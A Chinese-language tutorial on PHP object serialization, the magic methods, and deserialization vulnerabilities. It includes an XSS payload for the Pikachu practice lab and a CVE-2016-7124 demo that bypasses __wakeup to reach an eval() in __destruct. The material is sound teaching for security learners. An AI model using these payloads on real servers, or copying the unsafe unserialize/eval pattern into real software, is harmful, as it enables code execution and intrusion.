0x00 序列化與反序列化
序列化:將對(duì)象轉(zhuǎn)化為字符串的形式,稱為序列化,在php中可以使用serialize函數(shù)實(shí)現(xiàn)
反序列化:將字符串還原成對(duì)象的形式,稱為反序列化,在php中可以使用unserialize函數(shù)實(shí)現(xiàn)
一個(gè)序列化的例子
運(yùn)行結(jié)果:<?php class Test{ public $a = 'ThisA'; protected $b = 'ThisB'; private $c = 'ThisC'; public function test1(){ echo 'this is test1 '; } } $test = new Test(); var_dump(serialize($test)); ?>O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}O:4:"Test":3的解釋:O標(biāo)識(shí)這是一個(gè)對(duì)象,4表示對(duì)象名的長(zhǎng)度,“Test”表示對(duì)象名,3表示了對(duì)象有3個(gè)成員
s:1:"a";s:5:"ThisA";的解釋:s表示類型為String,為字符串,1表示成員名長(zhǎng)度,“a”是這個(gè)成員名;s:5:"ThisA",表示值類型為字符串長(zhǎng)度為5,值未“ThisA”。
protected屬性成員 序列化后名字會(huì)以
"%00*%00b"表示,即%00*%00成員名private屬性成員 序列化后會(huì)名字會(huì)以
"%00Test%00c"表示,即%00類名%00成員名可以看到,對(duì)象的方法并不序列化到字符串中。
對(duì)于不同類型的序列化字符串保存形式
String : s:size:value;
Integer : i:value;
Boolean : b:value;(保存1或0)
Null : N;
Array : a:size:{key definition;value definition;(repeated per element)}
Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
一個(gè)反序列化例子:
<?php class Test{ public $a = 'ThisA'; protected $b = 'ThisB'; private $c = 'ThisC'; public function test1(){ echo 'this is test1'; } } $test = new Test(); $str = serialize($test); //通過反序列化創(chuàng)建對(duì)象并執(zhí)行函數(shù) $test1 = unserialize($str); $test1->test1(); ?>
0x01 魔法函數(shù)
__construct()當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
__destruct()當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用
__toString()當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用
__sleep() 在對(duì)象在被序列化之前運(yùn)行
__wakeup將在序列化之后立即被調(diào)用代碼例子:
執(zhí)行結(jié)果:<?php class Test{ function __construct(){ echo 'construct run<br>'; } function __destruct(){ echo 'destruct run<br>'; } function __toString(){ return 'toString run<br>'; } function __sleep(){ echo 'sleep run<br>'; return array(); } function __wakeup(){ echo 'wakeup run<br>'; } } $test = new Test(); // __construct run echo $test; // __toString run $str = serialize($test); // __sleep run $test1 = unserialize($str); // __wakeup run unset($test); // __destruct run ?>
0x02 反序列化漏洞
序列化和反序列化本身并沒有問題,但結(jié)合了魔法函數(shù)加上參數(shù)可控,就可能造成問題,以pikachu靶場(chǎng)的一個(gè)例子:
class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,來點(diǎn)勁爆點(diǎn)兒的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } }用戶可以傳遞序列化字符串給服務(wù)器進(jìn)行反序列化,并將對(duì)象的test成員輸出到頁面上,此時(shí)的test的值為我們所控
提交payload觸發(fā)xss:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
0x03 CVE-2016-7124(繞過__wakeup函數(shù))
影響版本:PHP5 < 5.6.25
PHP7 < 7.0.10在反序列化時(shí),如果字符串中對(duì)象屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù),wakeup將跳過執(zhí)行。
<?php class Test{ public $test='123456'; function __wakeup(){ $this->test = 'echo "wakeup run";'; } function __destruct(){ @eval($this->test); } } $str = 'O:4:"Test":1:{s:4:"test";s:10:"phpinfo();";}'; $test1 = unserialize($str); ?>以上代碼的執(zhí)行結(jié)果
當(dāng)序列化字符串將對(duì)象屬性個(gè)數(shù)修改成大于實(shí)際數(shù)量時(shí),將繞過wakeup的執(zhí)行,$str = 'O:4:"Test":2:{s:4:"test";s:10:"phpinfo();";}';






